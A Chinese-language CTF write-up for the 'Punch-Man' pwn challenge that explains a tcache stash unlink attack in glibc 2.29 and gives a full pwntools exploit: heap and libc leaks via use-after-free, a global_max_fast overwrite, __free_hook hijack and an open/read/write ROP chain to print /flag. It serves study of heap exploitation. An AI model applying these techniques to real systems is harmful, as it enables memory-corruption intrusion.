title: Tache Stash Unlink Attack:Punch-Man date: 2021-06-24 10:49:43 tags: layout: default —- Punch-Man & tache stash unlink attack
很棒的一题,主要使用了libc-2.29下利用 small bin tache stash
tacache中有6个chunk的情况,攻击效果是类似于之前版本的 unsorted bin attack
往任意地址写固定值。
UAF比较明显,很容易泄漏heapbase&libcbase,主要难在利用,因为题目用的是calloc所以不从tcache里面取,有个隐藏菜单可以malloc 0x217,但仅限于tcache满的时候。
所以在这种情况下,tcache和small bin的路已经被锁死了,需要用 small bin
相关的利用来扩大利用。
libc 2.29引入的新机制,可以在这里看看,和本题相关的简单来说当tcache未满时从small bin取下一个时会将剩下的chunk放入tcache,但是检查不严格。如下可以看到,没有检查bck的fd是不是victim。
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;//*
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
这里的利用方式有很多,本题中因为最少只能有6个chunk在tcache中(0x220),能达成的效果只有类似unsorted bin atk。
构造方式: small bin 有2个chunk,tcache有6个chunk.
构造small bin 第二个chunk的 fd不变,bk为需要写的地址-0x10。
calloc 掉一个smallbin就可以触发,往构造的地址写一个固定的值。
我想到的比较方便的是攻击global_max_size。
我的思路:要想获得任意地址写可以走small bin 可以走tcache,但是tcache比较简单先试试tcache;因为只能malloc一个所以要么直接控制heap开始的时候那个tcache结构体要么把计数器改成很大(这个试了一下发现因为寄存器存值所以失败了);然后目标是tcache结构体,现有能力是任意地址写固定值,所以就自然而然地改掉global_max_size然后fast bin atk
from pwn import *
context.arch='amd64'
context.log_level='debug'
context.terminal=['tmux','split','-h']
def cmd(c):
p.sendlineafter("> ",str(c))
def add(idx,size):
cmd(1)
p.sendlineafter(": ",str(idx))
p.sendafter(": ",size*"A")
def free(idx):
cmd(4)
p.sendlineafter(": ",str(idx))
def edit(idx,c):
cmd(2)
p.sendlineafter(": ",str(idx))
p.sendafter(": ",c)
def show(idx):
cmd(3)
p.sendlineafter(": ",str(idx))
def punch(c="A"):
cmd(0xc388)
p.send(c)
p=process('./pwn')
for x in range(2):
add(0,0x217)
free(0)
show(0)
p.readuntil("name: ")
heap=u64(p.readline()[:-1]+b'\0\0')-0x260
for x in range(5):
add(0,0x217)
free(0)
add(0,0x217)
add(1,0x217)
free(0)
show(0)
p.readuntil("name: ")
base=u64(p.readline()[:-1]+b'\0\0')-(0x7ffff7fbfca0-0x7ffff7ddb000)
free(1)
# clear
for x in range(7):
add(0,0x248)
free(0)
add(0,0x217)
add(1,0x88)
add(1,0x217)
add(2,0x88)
free(0)
free(1)
add(2,0x248)
punch()
edit(1,p64(0x2160+heap)+p64(0x7ffff7fc1600-0x7ffff7dda000+base-0x10))
add(0,0x217)
free(2)
edit(2,p64(heap))
add(2,0x248)
add(2,0x248)
free_hook=0x1e75a8+base
edit(2,'\0'*0x248)
edit(2,b'\0'*0x20+b'\7'*8+b'\0'*0xa0+p64(free_hook)*0x10)
punch(p64(0x7ffff7f2a550-0x7ffff7dda000+base))
#++++++++++++++++++++++++++++++
# Before starting this module, I
# hope you have set free_hook
# ==> magic gadget <3
chunk=heap+0x10
# chunk is Free's first Parameter
#+++++++++++++++++++++++++++++++
payload=p64(0)+p64(chunk)+b'\0'*0x10+p64(0x55e35+base)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.29.so")
libc.address=base
rop = ROP(libc)
sys = rop.find_gadget(['syscall','ret'])[0]
rsp=chunk
rdi=0
rsi=rsp
rdx=0x110
rbp=rsi-8
rcx=sys
payload=payload.ljust(0x68,b'\0')+flat([rdi,rsi,rbp,0,rdx,0,0,rsp,rcx])
edit(2,payload)
gdb.attach(p,'b free')
free(2)
rop.read(3,chunk+0x110,0x100)
rop.write(1,chunk+0x110,0x100)
rop.dump()
pyaload_rw =rop.chain()
rax = rop.find_gadget(['pop rax','ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
rsi = rop.find_gadget(['pop rsi','ret'])[0]
rdx = rop.find_gadget(['pop rdx','ret'])[0]
pyaload_open =flat([rax,0x2,rdi,chunk+0xf8,rsi,0,rdx,0,sys])
pay = pyaload_open+pyaload_rw
p.send(pay.ljust(0xf8,b'\0')+b'/flag\0')
p.interactive()